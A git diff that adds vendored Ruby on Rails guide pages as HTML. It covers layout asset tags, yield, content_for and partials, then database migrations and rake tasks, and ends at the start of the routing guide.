When Rails renders a view as a response, it does so by combining the view with the current layout (using the rules for finding the current layout that were covered earlier in this guide). Within a layout, you have access to three tools for combining different bits of output to form the overall response:

+
    +
  • +

    +Asset tags +

    +
  • +
  • +

    +yield and content_for +

    +
  • +
  • +

    +Partials +

    +
  • +
+

I'll discuss each of these in turn.

+

3.1. Asset Tags

+

Asset tags provide methods for generating HTML that links views to assets like images, javascript, stylesheets, and feeds. There are four types of include tag:

+
    +
  • +

    +auto_discovery_link_tag +

    +
  • +
  • +

    +javascript_include_tag +

    +
  • +
  • +

    +stylesheet_link_tag +

    +
  • +
  • +

    +image_tag +

    +
  • +
+

You can use these tags in layouts or other views, although the tags other than image_tag are most commonly used in the <head> section of a layout.

+
+ + + +
+Warning +The asset tags do not verify the existence of the assets at the specified locations; they simply assume that you know what you're doing and generate the link.
+
+ +

The auto_discovery_link_tag helper builds HTML that most browsers and newsreaders can use to detect the presences of RSS or ATOM feeds. It takes the type of the link (:rss+ or :atom), a hash of options that are passed through to url_for, and a hash of options for the tag:

+
+
+
<%= auto_discovery_link_tag(:rss, {:action => "feed"}, {:title => "RSS Feed"}) %>
+
+

There are three tag options available for auto_discovery_link_tag:

+
    +
  • +

    +:rel specifies the rel value in the link (defaults to "alternate") +

    +
  • +
  • +

    +:type specifies an explicit MIME type. Rails will generate an appropriate MIME type automatically +

    +
  • +
  • +

    +:title specifies the title of the link +

    +
  • +
+

3.1.2. Linking to Javascript Files with javascript_include_tag

+

The javascript_include_tag helper returns an HTML <script> tag for each source provided. Rails looks in public/javascripts for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include public/javascripts/main.js:

+
+
+
<%= javascript_include_tag "main" %>
+
+

To include public/javascripts/main.js and public/javascripts/columns.js:

+
+
+
<%= javascript_include_tag "main", "columns" %>
+
+

To include public/javascripts/main.js and public/photos/columns.js:

+
+
+
<%= javascript_include_tag "main", "/photos/columns" %>
+
+

To include http://example.com/main.js:

+
+
+
<%= javascript_include_tag "http://example.com/main.js" %>
+
+

The defaults option loads the Prototype and Scriptaculous libraries:

+
+
+
<%= javascript_include_tag :defaults %>
+
+

The all option loads every javascript file in public/javascripts, starting with the Prototype and Scriptaculous libraries:

+
+
+
<%= javascript_include_tag :all %>
+
+

You can supply the :recursive option to load files in subfolders of public/javascripts as well:

+
+
+
<%= javascript_include_tag :all, :recursive => true %>
+
+

If you're loading multiple javascript files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify :cache ⇒ true in your javascript_include_tag:

+
+
+
<%= javascript_include_tag "main", "columns", :cache => true %>
+
+

By default, the combined file will be delivered as javascripts/all.js. You can specify a location for the cached asset file instead:

+
+
+
<%= javascript_include_tag "main", "columns", :cache => 'cache/main/display' %>
+
+

+ +

The stylesheet_link_tag helper returns an HTML <link> tag for each source provided. Rails looks in public/stylesheets for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include public/stylesheets/main.cs:

+
+
+
<%= stylesheet_link_tag "main" %>
+
+

To include public/stylesheets/main.css and public/stylesheets/columns.css:

+
+
+
<%= stylesheet_link_tag "main", "columns" %>
+
+

To include public/stylesheets/main.css and public/photos/columns.css:

+
+
+
<%= stylesheet_link_tag "main", "/photos/columns" %>
+
+

To include http://example.com/main.cs:

+
+
+
<%= stylesheet_link_tag "http://example.com/main.cs" %>
+
+

By default, stylesheet_link_tag creates links with media="screen" rel="stylesheet" type="text/css". You can override any of these defaults by specifying an appropriate option (:media, :rel, or :type):

+
+
+
<%= stylesheet_link_tag "main_print", media => "print" %>
+
+

The all option links every CSS file in public/stylesheets:

+
+
+
<%= stylesheet_link_tag :all %>
+
+

You can supply the :recursive option to link files in subfolders of public/stylesheets as well:

+
+
+
<%= stylesheet_link_tag :all, :recursive => true %>
+
+

If you're loading multiple CSS files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify :cache ⇒ true in your stylesheet_link_tag:

+
+
+
<%= stylesheet_link_tag "main", "columns", :cache => true %>
+
+

By default, the combined file will be delivered as stylesheets/all.css. You can specify a location for the cached asset file instead:

+
+
+
<%= stylesheet_link_tag "main", "columns", :cache => 'cache/main/display' %>
+
+

+

3.1.4. Linking to Images with image_tag

+

The image_tag helper builds an HTML <image> tag to the specified file. By default, files are loaded from public/images. If you don't specify an extension, .png is assumed by default:

+
+
+
<%= image_tag "header" %>
+
+

You can supply a path to the image if you like:

+
+
+
<%= image_tag "icons/delete.gif" %>
+
+

You can supply a hash of additional HTML options:

+
+
+
<%= image_tag "icons/delete.gif", :height => 45 %>
+
+

There are also three special options you can use with image_tag:

+
    +
  • +

    +:alt specifies the alt text for the image (which defaults to the file name of the file, capitalized and with no extension) +

    +
  • +
  • +

    +

    +
  • +
  • +

    +:mouseover sets an alternate image to be used when the onmouseover event is fired. +

    +
  • +
+

3.2. Understanding yield

+

Within the context of a layout, yield identifies a section where content from the view should be inserted. The simplest way to use this is to have a single yield, into which the entire contents of the view currently being rendered is inserted:

+
+
+
<html>
+  <head>
+  </head>
+  <body>
+        <%= yield %>
+  <hbody>
+</html>
+
+

You can also create a layout with multiple yielding regions:

+
+
+
<html>
+  <head>
+        <%= yield :head %>
+  </head>
+  <body>
+        <%= yield %>
+  <hbody>
+</html>
+
+

The main body of the view will always render into the unnamed yield. To render content into a named yield, you use the content_for method.

+

3.3. Using content_for

+

The content_for method allows you to insert content into a yield block in your layout. You only use content_for to insert content in named yields. For example, this view would work with the layout that you just saw:

+
+
+
<% content_for :head do %>
+  <title>A simple page</title>
+<% end %>
+
+<p>Hello, Rails!</p>
+
+

The result of rendering this page into the supplied layout would be this HTML:

+
+
+
<html>
+  <head>
+        <title>A simple page</title>
+  </head>
+  <body>
+        <p>Hello, Rails!</p>
+  <hbody>
+</html>
+
+

The content_for method is very helpful when your layout contains distinct regions such as sidebars and footers that should get their own blocks of content inserted. It's also useful for inserting tags that load page-specific javascript or css files into the header of an otherwise-generic layout.

+

3.4. Using Partials

+

Partial templates - usually just called "partials" - are another device for breaking apart the rendering process into more manageable chunks. With a partial, you can move the code for rendering a particular piece of a response to its own file.

+

3.4.1. Naming Partials

+

To render a partial as part of a view, you use the render method within the view, and include the :partial option:

+
+
+
<%= render :partial => "menu" %>
+
+

This will render a file named _menu.html.erb at that point within the view being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder:

+
+
+
<%= render :partial => "shared/menu" %>
+
+

That code will pull in the partial from app/views/shared/_menu.html.erb.

+

3.4.2. Using Partials to Simplify Views

+

One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looked like this:

+
+
+
<%= render :partial => "shared/ad_banner" %>
+
+<h1>Products</h1>
+
+<p>Here are a few of our fine products:</p>
+...
+
+<%= render :partial => "shared/footer" %>
+
+

Here, the _ad_banner.html.erb and _footer.html.erb partials could contain content that is shared among many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page.

+
+ + + +
+Tip +For content that is shared among all pages in your application, you can use partials directly from layouts.
+
+

3.4.3. Partial Layouts

+

A partial can use its own layout file, just as a view can use a layout. For example, you might call a partial like this:

+
+
+
<%= render :partial => "link_area", :layout => "graybar" %>
+
+

This would look for a partial named _link_area.html.erb and render it using the layout _graybar.html.erb. Note that layouts for partials follow the same leading-underscore naming as regular partials, and are placed in the same folder with the partial that they belong to (not in the master layouts folder).

+

3.4.4. Passing Local Variables

+

You can also pass local variables into partials, making them even more powerful and flexible. For example, you can use this technique to reduce duplication between new and edit pages, while still keeping a bit of distinct content:

+

new.html.erb:

+
+
+
<h1>New zone</h1>
+<%= error_messages_for :zone %>
+<%= render :partial => "form", :locals => { :button_label => "Create zone", :zone => @zone } %>
+
+

edit.html.erb:

+
+
+
<h1>Editing zone</h1>
+<%= error_messages_for :zone %>
+<%= render :partial => "form", :locals => { :button_label => "Update zone", :zone => @zone } %>
+
+

_form.html.erb:

+
+
+
<% form_for(zone) do |f| %>
+        <p>
+          <b>Zone name</b><br />
+          <%= f.text_field :name %>
+        </p>
+  <p>
+    <%= f.submit button_label %>
+  </p>
+<% end %>
+
+

Although the same partial will be rendered into both views, the label on the submit button is controlled by a local variable passed into the partial.

+

Every partial also has a local variable with the same name as the partial (minus the underscore). You can pass an object in to this local variable via the :object option:

+
+
+
<%= render :partial => "customer", :object => @new_customer %>
+
+

Within the customer partial, the @customer variable will refer to @new_customer from the parent view.

+
+ + + +
+Warning +In previous versions of Rails, the default local variable would look for an instance variable with the same name as the partial in the parent. This behavior is deprecated in Rails 2.2 and will be removed in a future version.
+
+

If you have an instance of a model to render into a partial, you can use a shorthand syntax:

+
+
+
<%= render :partial => @customer %>
+
+

Assuming that the @customer instance variable contains an instance of the Customer model, this will use _customer.html.erb to render it.

+

3.4.5. Rendering Collections

+

Partials are very useful in rendering collections. When you pass a collection to a partial via the :collection option, the partial will be inserted once for each member in the collection:

+

index.html.erb:

+
+
+
<h1>Products</h1>
+<%= render :partial => "product", :collection => @products %>
+
+

_product.html.erb:

+
+
+
<p>Product Name: <%= product.name %></p>
+
+

When a partial is called with a pluralized collection, then the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is _product, and within the +_product partial, you can refer to product to get the instance that is being rendered. To use a custom local variable name within the partial, specify the :as option in the call to the partial:

+
+
+
<%= render :partial => "product", :collection => @products, :as => :item %>
+
+

With this change, you can access an instance of the @products collection as the item local variable within the partial.

+
+ + + +
+Tip +Rails also makes a counter variable available within a partial called by the collection, named after the member of the collection followed by _counter. For example, if you're rendering @products, within the partial you can refer to product_counter to tell you how many times the partial has been rendered.
+
+

You can also specify a second partial to be rendered between instances of the main partial by using the :spacer_template option:

+
+
+
<%= render :partial => "product", :collection => @products, :spacer_template => "product_ruler" %>
+
+

Rails will render the _product_ruler partial (with no data passed in to it) between each pair of _product partials.

+

There's also a shorthand syntax available for rendering collections. For example, if @products is a collection of products, you can render the collection this way:

+

index.html.erb:

+
+
+
<h1>Products</h1>
+<%= render :partial => @products %>
+
+

_product.html.erb:

+
+
+
<p>Product Name: <%= product.name %></p>
+
+

Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection:

+

index.html.erb:

+
+
+
<h1>Contacts</h1>
+<%= render :partial => [customer1, employee1, customer2, employee2] %>
+
+

_customer.html.erb:

+
+
+
<p>Name: <%= customer.name %></p>
+
+

_employee.html.erb:

+
+
+
<p>Name: <%= employee.name %></p>
+
+

In this case, Rails will use the customer or employee partials as appropriate for each member of the collection.

+
+

4. Changelog

+
+ +
    +
  • +

    +November 9, 2008: Added partial collection counter by Mike Gunderloy +

    +
  • +
  • +

    +November 1, 2008: Added :js option for render by Mike Gunderloy +

    +
  • +
  • +

    +October 16, 2008: Ready for publication by Mike Gunderloy +

    +
  • +
  • +

    +October 4, 2008: Additional info on partials (:object, :as, and :spacer_template) by Mike Gunderloy (not yet approved for publication) +

    +
  • +
  • +

    +September 28, 2008: First draft by Mike Gunderloy (not yet approved for publication) +

    +
  • +
+
+ +
+
+ + diff --git a/vendor/rails/railties/doc/guides/html/migrations.html b/vendor/rails/railties/doc/guides/html/migrations.html new file mode 100644 index 00000000..47e76ef8 --- /dev/null +++ b/vendor/rails/railties/doc/guides/html/migrations.html @@ -0,0 +1,921 @@ + + + + + Migrations + + + + + + + + + +
+ + + +
+

Migrations

+
+
+

Migrations are a convenient way for you to alter your database in a structured and organised manner. You could edit fragments of SQL by hand but you would then be responsible for telling other developers that they need to go and run it. You'd also have to keep track of which changes need to be run against the production machines next time you deploy. Active Record tracks which migrations have already been run so all you have to do is update your source and run rake db:migrate. Active Record will work out which migrations should be run.

+

Migrations also allow you to describe these transformations using Ruby. The great thing about this is that (like most of Active Record's functionality) it is database independent: you don't need to worry about the precise syntax of CREATE TABLE any more that you worry about variations on SELECT * (you can drop down to raw SQL for database specific features). For example you could use SQLite3 in development, but MySQL in production.

+

You'll learn all about migrations including:

+
    +
  • +

    +The generators you can use to create them +

    +
  • +
  • +

    +The methods Active Record provides to manipulate your database +

    +
  • +
  • +

    +The Rake tasks that manipulate them +

    +
  • +
  • +

    +How they relate to schema.rb +

    +
  • +
+
+
+

1. Anatomy Of A Migration

+
+

Before I dive into the details of a migration, here are a few examples of the sorts of things you can do:

+
+
+
class CreateProducts < ActiveRecord::Migration
+  def self.up
+    create_table :products do |t|
+      t.string :name
+      t.text :description
+
+      t.timestamps
+    end
+  end
+
+  def self.down
+    drop_table :products
+  end
+end
+
+

This migration adds a table called products with a string column called name and a text column called description. A primary key column called id will also be added, however since this is the default we do not need to ask for this. The timestamp columns created_at and updated_at which Active Record populates automatically will also be added. Reversing this migration is as simple as dropping the table.

+

Migrations are not limited to changing the schema. You can also use them to fix bad data in the database or populate new fields:

+
+
+
class AddReceiveNewsletterToUsers < ActiveRecord::Migration
+  def self.up
+    change_table :users do |t|
+      t.boolean :receive_newsletter, :default => false
+    end
+    User.update_all ["receive_newsletter = ?", true]
+  end
+
+  def self.down
+    remove_column :users, :receive_newsletter
+  end
+end
+
+

This migration adds an receive_newsletter column to the users table. We want it to default to false for new users, but existing users are considered +to have already opted in, so we use the User model to set the flag to true for existing users.

+
+ + + +
+Note +Some caveats apply to using models in your migrations.
+
+

1.1. Migrations are classes

+

A migration is a subclass of ActiveRecord::Migration that implements two class methods: up (perform the required transformations) and down (revert them).

+

Active Record provides methods that perform common data definition tasks in a database independent way (you'll read about them in detail later):

+
    +
  • +

    +create_table +

    +
  • +
  • +

    +change_table +

    +
  • +
  • +

    +drop_table +

    +
  • +
  • +

    +add_column +

    +
  • +
  • +

    +remove_column +

    +
  • +
  • +

    +change_column +

    +
  • +
  • +

    +rename_column +

    +
  • +
  • +

    +add_index +

    +
  • +
  • +

    +remove_index +

    +
  • +
+

If you need to perform tasks specific to your database (for example create a foreign key constraint) then the execute function allows you to execute arbitrary SQL. A migration is just a regular Ruby class so you're not limited to these functions. For example after adding a column you could +write code to set the value of that column for existing records (if necessary using your models).

+

On databases that support transactions with statements that change the schema (such as PostgreSQL), migrations are wrapped in a transaction. If the database does not support this (for example MySQL and SQLite) then when a migration fails the parts of it that succeeded will not be rolled back. You will have to unpick the changes that were made by hand.

+

1.2. What's in a name

+

Migrations are stored in files in db/migrate, one for each migration class. The name of the file is of the form YYYYMMDDHHMMSS_create_products.rb, that is to say a UTC timestamp identifying the migration followed by an underscore followed by the name of the migration. The migration class' name must match (the camelcased version of) the latter part of the file name. For example 20080906120000_create_products.rb should define CreateProducts and 20080906120001_add_details_to_products.rb should define AddDetailsToProducts. If you do feel the need to change the file name then you MUST update the name of the class inside or Rails will complain about a missing class.

+

Internally Rails only uses the migration's number (the timestamp) to identify them. Prior to Rails 2.1 the migration number started at 1 and was incremented each time a migration was generated. With multiple developers it was easy for these to clash requiring you to rollback migrations and renumber them. With Rails 2.1 this is largely avoided by using the creation time of the migration to identify them. You can revert to the old numbering scheme by setting config.active_record.timestamped_migrations to false in environment.rb.

+

The combination of timestamps and recording which migrations have been run allows Rails to handle common situations that occur with multiple developers.

+

For example Alice adds migrations 20080906120000 and 20080906123000 and Bob adds 20080906124500 and runs it. Alice finishes her changes and checks in her migrations and Bob pulls down the latest changes. Rails knows that it has not run Alice's two migrations so rake db:migrate would run them (even though Bob's migration with a later timestamp has been run), and similarly migrating down would not run their down methods.

+

Of course this is no substitution for communication within the team, for example if Alice's migration removed a table that Bob's migration assumed the existence of then trouble will still occur.

+

1.3. Changing migrations

+

Occasionally you will make a mistake while writing a migration. If you have already run the migration then you cannot just edit the migration and run the migration again: Rails thinks it has already run the migration and so will do nothing when you run rake db:migrate. You must rollback the migration (for example with rake db:rollback), edit your migration and then run rake db:migrate to run the corrected version.

+

In general editing existing migrations is not a good idea: you will be creating extra work for yourself and your co-workers and cause major headaches if the existing version of the migration has already been run on production machines. Instead you should write a new migration that performs the changes you require. Editing a freshly generated migration that has not yet been committed to source control (or more generally which has not been propagated beyond your development machine) is relatively harmless. Just use some common sense.

+
+

2. Creating A Migration

+
+

2.1. Creating a model

+

The model and scaffold generators will create migrations appropriate for adding a new model. This migration will already contain instructions for creating the relevant table. If you tell Rails what columns you want then statements for adding those will also be created. For example, running

+

ruby script/generate model Product name:string description:text will create a migration that looks like this

+
+
+
class CreateProducts < ActiveRecord::Migration
+  def self.up
+    create_table :products do |t|
+      t.string :name
+      t.text :description
+
+      t.timestamps
+    end
+  end
+
+  def self.down
+    drop_table :products
+  end
+end
+
+

You can append as many column name/type pairs as you want. By default t.timestamps (which creates the updated_at and created_at columns that +are automatically populated by Active Record) will be added for you.

+

2.2. Creating a standalone migration

+

If you are creating migrations for other purposes (for example to add a column to an existing table) then you can use the migration generator:

+

ruby script/generate migration AddPartNumberToProducts

+

This will create an empty but appropriately named migration:

+
+
+
class AddPartNumberToProducts < ActiveRecord::Migration
+  def self.up
+  end
+
+  def self.down
+  end
+end
+
+

If the migration name is of the form AddXXXToYYY or RemoveXXXFromY and is followed by a list of column names and types then a migration containing +the appropriate add and remove column statements will be created.

+

ruby script/generate migration AddPartNumberToProducts part_number:string

+

will generate

+
+
+
class AddPartNumberToProducts < ActiveRecord::Migration
+  def self.up
+    add_column :products, :part_number, :string
+  end
+
+  def self.down
+    remove_column :products, :part_number
+  end
+end
+
+

Similarly,

+

ruby script/generate migration RemovePartNumberFromProducts part_number:string

+

generates

+
+
+
class RemovePartNumberFromProducts < ActiveRecord::Migration
+  def self.up
+    remove_column :products, :part_number
+  end
+
+  def self.down
+    add_column :products, :part_number, :string
+  end
+end
+
+

You are not limited to one magically generated column, for example

+

ruby script/generate migration AddDetailsToProducts part_number:string price:decimal

+

generates

+
+
+
class AddDetailsToProducts < ActiveRecord::Migration
+  def self.up
+    add_column :products, :part_number, :string
+    add_column :products, :price, :decimal
+  end
+
+  def self.down
+    remove_column :products, :price
+    remove_column :products, :part_number
+  end
+end
+
+

As always, what has been generated for you is just a starting point. You can add or remove from it as you see fit.

+
+

3. Writing a Migration

+
+

Once you have created your migration using one of the generators it's time to get to work!

+

3.1. Creating a table

+

create_table will be one of your workhorses. A typical use would be

+
+
+
create_table :products do |t|
+  t.string :name
+end
+
+

which creates a products table with a column called name (and as discussed below, an implicit id column).

+

The object yielded to the block allows you create columns on the table. There are two ways of doing this. The first looks like

+
+
+
create_table :products do |t|
+  t.column :name, :string, :null => false
+end
+
+

the second form, the so called "sexy" migrations, drops the somewhat redundant column method. Instead, the string, integer etc. methods create a column of that type. Subsequent parameters are identical.

+
+
+
create_table :products do |t|
+  t.string :name, :null => false
+end
+
+

By default create_table will create a primary key called id. You can change the name of the primary key with the :primary_key option (don't forget to update the corresponding model) or if you don't want a primary key at all (for example for a HABTM join table) you can pass :id ⇒ false. If you need to pass database specific options you can place an sql fragment in the :options option. For example

+
+
+
create_table :products, :options => "ENGINE=BLACKHOLE" do |t|
+  t.string :name, :null => false
+end
+
+

Will append ENGINE=BLACKHOLE to the sql used to create the table (when using MySQL the default is "ENGINE=InnoDB").

+

The types Active Record supports are :primary_key, :string, :text, :integer, :float, :decimal, :datetime, :timestamp, :time, :date, :binary, :boolean.

+

These will be mapped onto an appropriate underlying database type, for example with MySQL :string is mapped to VARCHAR(255). You can create columns of +types not supported by Active Record when using the non sexy syntax, for example

+
+
+
create_table :products do |t|
+  t.column :name, 'polygon', :null => false
+end
+
+

This may however hinder portability to other databases.

+

3.2. Changing tables

+

create_table's close cousin is change_table. Used for changing existing tables, it is used in a similar fashion to create_table but the object yielded to the block knows more tricks. For example

+
+
+
change_table :products do |t|
+  t.remove :description, :name
+  t.string :part_number
+  t.index :part_number
+  t.rename :upccode, :upc_code
+end
+
+

removes the description column, creates a part_number column and adds an index on it. Finally it renames the upccode column. This is the same as doing

+
+
+
remove_column :products, :description
+remove_column :products, :name
+add_column :products, :part_number, :string
+add_index :products, :part_number
+rename_column :products, :upccode, :upc_code
+
+

You don't have to keep repeating the table name and it groups all the statements related to modifying one particular table. The individual transformation names are also shorter, for example remove_column becomes just remove and add_index becomes just index.

+

3.3. Special helpers

+

Active Record provides some shortcuts for common functionality. It is for example very common to add both the created_at and updated_at columns and so there is a method that does exactly that:

+
+
+
create_table :products do |t|
+  t.timestamps
+end
+
+

will create a new products table with those two columns whereas

+
+
+
change_table :products do |t|
+  t.timestamps
+end
+
+

adds those columns to an existing table.

+

The other helper is called references (also available as belongs_to). In its simplest form it just adds some readability

+
+
+
create_table :products do |t|
+  t.references :category
+end
+
+

will create a category_id column of the appropriate type. Note that you pass the model name, not the column name. Active Record adds the _id for you. If you have polymorphic belongs_to associations then references will add both of the columns required:

+
+
+
create_table :products do |t|
+  t.references :attachment, :polymorphic => {:default => 'Photo'}
+end
+
+

will add an attachment_id column and a string attachment_type column with a default value of Photo.

+
+ + + +
+Note +The references helper does not actually create foreign key constraints for you. You will need to use execute for that or a plugin that adds foreign key support.
+
+

If the helpers provided by Active Record aren't enough you can use the execute function to execute arbitrary SQL.

+

For more details and examples of individual methods check the API documentation, in particular the documentation for ActiveRecord::ConnectionAdapters::SchemaStatements (which provides the methods available in the up and down methods), ActiveRecord::ConnectionAdapters::TableDefinition (which provides the methods available on the object yielded by create_table) and ActiveRecord::ConnectionAdapters::Table (which provides the methods available on the object yielded by change_table).

+

3.4. Writing your down method

+

The down method of your migration should revert the transformations done by the up method. In other words the database should be unchanged if you do an up followed by a down. For example if you create a table in the up you should drop it in the down method. It is wise to do things in precisely the reverse order to in the up method. For example

+
+
+
class ExampleMigration < ActiveRecord::Migration
+
+  def self.up
+    create_table :products do |t|
+      t.references :category
+    end
+    #add a foreign key
+    execute "ALTER TABLE products ADD CONSTRAINT fk_products_categories FOREIGN KEY (category_id) REFERENCES categories(id)"
+
+    add_column :users, :home_page_url, :string
+
+    rename_column :users, :email, :email_address
+  end
+
+  def self.down
+    rename_column :users, :email_address, :email
+    remove_column :users, :home_page_url
+    execute "ALTER TABLE products DROP FOREIGN KEY fk_products_categories"
+    drop_table :products
+  end
+end
+
+

Sometimes your migration will do something which is just plain irreversible, for example it might destroy some data. In cases like those when you can't reverse the migration you can raise IrreversibleMigration from your down method. If someone tries to revert your migration an error message will be +displayed saying that it can't be done.

+
+

4. Running Migrations

+
+

Rails provides a set of rake tasks to work with migrations which boils down to running certain sets of migrations. The very first migration related rake task you use will probably be db:migrate. In its most basic form it just runs the up method for all the migrations that have not yet been run. If there are no such migrations it exits.

+

If you specify a target version, Active Record will run the required migrations (up or down) until it has reached the specified version. The +version is the numerical prefix on the migration's filename. For example to migrate to version 20080906120000 run

+
+
+
rake db:migrate VERSION=20080906120000
+
+

If this is greater than the current version (i.e. it is migrating upwards) this will run the up method on all migrations up to and including 20080906120000, if migrating downwards this will run the down method on all the migrations down to, but not including, 20080906120000.

+

4.1. Rolling back

+

A common task is to rollback the last migration, for example if you made a mistake in it and wish to correct it. Rather than tracking down the version number associated with the previous migration you can run

+
+
+
rake db:rollback
+
+

This will run the down method from the latest migration. If you need to undo several migrations you can provide a STEP parameter:

+
+
+
rake db:rollback STEP=3
+
+

will run the down method from the last 3 migrations.

+

The db:migrate:redo task is a shortcut for doing a rollback and then migrating back up again. As with the db:rollback task you can use the STEP parameter if you need to go more than one version back, for example

+
+
+
rake db:migrate:redo STEP=3
+
+

Neither of these Rake tasks do anything you could not do with db:migrate, they are simply more convenient since you do not need to explicitly specify the version to migrate to.

+

Lastly, the db:reset task will drop the database, recreate it and load the current schema into it.

+
+ + + +
+Note +This is not the same as running all the migrations - see the section on schema.rb.
+
+

4.2. Being Specific

+

If you need to run a specific migration up or down the db:migrate:up and db:migrate:down tasks will do that. Just specify the appropriate version and the corresponding migration will have its up or down method invoked, for example

+
+
+
rake db:migrate:up VERSION=20080906120000
+
+

will run the up method from the 20080906120000 migration. These tasks check whether the migration has already run, so for example db:migrate:up VERSION=20080906120000 will do nothing if Active Record believes that 20080906120000 has already been run.

+

4.3. Being talkative

+

By default migrations tell you exactly what they're doing and how long it took. +A migration creating a table and adding an index might produce output like this

+
+
+
== 20080906170109 CreateProducts: migrating ===================================
+-- create_table(:products)
+   -> 0.0021s
+-- add_index(:products, :name)
+   -> 0.0026s
+== 20080906170109 CreateProducts: migrated (0.0059s) ==========================
+
+

Several methods are provided that allow you to control all this:

+
    +
  • +

    +suppress_messages suppresses any output generated by its block +

    +
  • +
  • +

    +say outputs text (the second argument controls whether it is indented or not) +

    +
  • +
  • +

    +say_with_time outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected. +

    +
  • +
+

For example, this migration

+
+
+
class CreateProducts < ActiveRecord::Migration
+  def self.up
+    suppress_messages do
+      create_table :products do |t|
+        t.string :name
+        t.text :description
+        t.timestamps
+      end
+    end
+    say "Created a table"
+    suppress_messages {add_index :products, :name}
+    say "and an index!", true
+    say_with_time 'Waiting for a while' do
+      sleep 10
+      250
+    end
+  end
+
+  def self.down
+    drop_table :products
+  end
+end
+
+

generates the following output

+
+
+
== 20080906170109 CreateProducts: migrating ===================================
+-- Created a table
+   -> and an index!
+-- Waiting for a while
+   -> 10.0001s
+   -> 250 rows
+== 20080906170109 CreateProducts: migrated (10.0097s) =========================
+
+

If you just want Active Record to shut up then running rake db:migrate VERBOSE=false will suppress any output.

+
+

5. Using Models In Your Migrations

+
+

When creating or updating data in a migration it is often tempting to use one of your models. After all they exist to provide easy access to the underlying data. This can be done but some caution should be observed.

+

Consider for example a migration that uses the Product model to update a row in the corresponding table. Alice later updates the Product model, adding a new column and a validation on it. Bob comes back from holiday, updates the source and runs outstanding migrations with rake db:migrate, including the one that used the Product model. When the migration runs the source is up to date and so the Product model has the validation added by Alice. The database however is still old and so does not have that column and an error ensues because that validation is on a column that does not yet exist.

+

Frequently I just want to update rows in the database without writing out the SQL by hand: I'm not using anything specific to the model. One pattern for this is to define a copy of the model inside the migration itself, for example:

+
+
+
class AddPartNumberToProducts < ActiveRecord::Migration
+  class Product < ActiveRecord::Base
+  end
+
+  def self.up
+    ...
+  end
+
+  def self.down
+    ...
+  end
+end
+
+

The migration has its own minimal copy of the Product model and no longer cares about the Product model defined in the application.

+

5.1. Dealing with changing models

+

For performance reasons information about the columns a model has is cached. For example if you add a column to a table and then try and use the corresponding model to insert a new row it may try and use the old column information. You can force Active Record to re-read the column information with the reset_column_information method, for example

+
+
+
class AddPartNumberToProducts < ActiveRecord::Migration
+  class Product < ActiveRecord::Base
+  end
+
+  def self.up
+    add_column :product, :part_number, :string
+    Product.reset_column_information
+    ...
+  end
+
+  def self.down
+    ...
+  end
+end
+
+
+

6. Schema dumping and you

+
+

6.1. What are schema files for?

+

Migrations, mighty as they may be, are not the authoritative source for your database schema. That role falls to either schema.rb or an SQL file which Active Record generates by examining the database. They are not designed to be edited, they just represent the current state of the database.

+

There is no need (and it is error prone) to deploy a new instance of an app by replaying the entire migration history. It is much simpler and faster to just load into the database a description of the current schema.

+

For example, this is how the test database is created: the current development database is dumped (either to schema.rb or development.sql) and then loaded into the test database.

+

Schema files are also useful if you want a quick look at what attributes an Active Record object has. This information is not in the model's code and is frequently spread across several migrations but is all summed up in the schema file. The annotate_models plugin, which automatically adds (and updates) comments at the top of each model summarising the schema, may also be of interest.

+

6.2. Types of schema dumps

+

There are two ways to dump the schema. This is set in config/environment.rb by the config.active_record.schema_format setting, which may be either :sql or :ruby.

+

If :ruby is selected then the schema is stored in db/schema.rb. If you look at this file you'll find that it looks an awful lot like one very big migration:

+
+
+
ActiveRecord::Schema.define(:version => 20080906171750) do
+  create_table "authors", :force => true do |t|
+    t.string   "name"
+    t.datetime "created_at"
+    t.datetime "updated_at"
+  end
+
+  create_table "products", :force => true do |t|
+    t.string   "name"
+    t.text     "description"
+    t.datetime "created_at"
+    t.datetime "updated_at"
+    t.string   "part_number"
+  end
+end
+
+

In many ways this is exactly what it is. This file is created by inspecting the database and expressing its structure using create_table, add_index and so on. Because this is database independent it could be loaded into any database that Active Record supports. This could be very useful if you were to distribute an application that is able to run against multiple databases.

+

There is however a trade-off: schema.rb cannot express database specific items such as foreign key constraints, triggers or stored procedures. While in a migration you can execute custom SQL statements, the schema dumper cannot reconstitute those statements from the database. If you are using features like this then you should set the schema format to :sql.

+

Instead of using Active Record's schema dumper the database's structure will be dumped using a tool specific to that database (via the db:structure:dump Rake task) into db/#{RAILS_ENV}_structure.sql. For example for PostgreSQL the pg_dump utility is used and for MySQL this file will contain the output of SHOW CREATE TABLE for the various tables. Loading this schema is simply a question of executing the SQL statements contained inside.

+

By definition this will be a perfect copy of the database's structure but this will usually prevent loading the schema into a database other than the one used to create it.

+

6.3. Schema dumps and source control

+

Because they are the authoritative source for your database schema, it is strongly recommended that you check them into source control.

+
+

7. Active Record and Referential Integrity

+
+

The Active Record way is that intelligence belongs in your models, not in the database. As such, features such as triggers or foreign key constraints, which push some of that intelligence back into the database are not heavily used.

+

Validations such as validates_uniqueness_of are one way in which models can enforce data integrity. The :dependent option on associations allows models to automatically destroy child objects when the parent is destroyed. Like anything which operates at the application level these cannot guarantee referential integrity and so some people augment them with foreign key constraints.

+

Although Active Record does not provide any tools for working directly with such features, the execute method can be used to execute arbitrary SQL. There are also a number of plugins such as redhillonrails which add foreign key support to Active Record (including support for dumping foreign keys in schema.rb).

+
+

8. Changelog

+
+ +
+
+ +
+
+ + diff --git a/vendor/rails/railties/doc/guides/html/routing_outside_in.html b/vendor/rails/railties/doc/guides/html/routing_outside_in.html new file mode 100644 index 00000000..7cae0203 --- /dev/null +++ b/vendor/rails/railties/doc/guides/html/routing_outside_in.html @@ -0,0 +1,2213 @@ + + + + + Rails Routing from the Outside In + + + + + + + + + +
+ + + +
+

Rails Routing from the Outside In

+
+
+

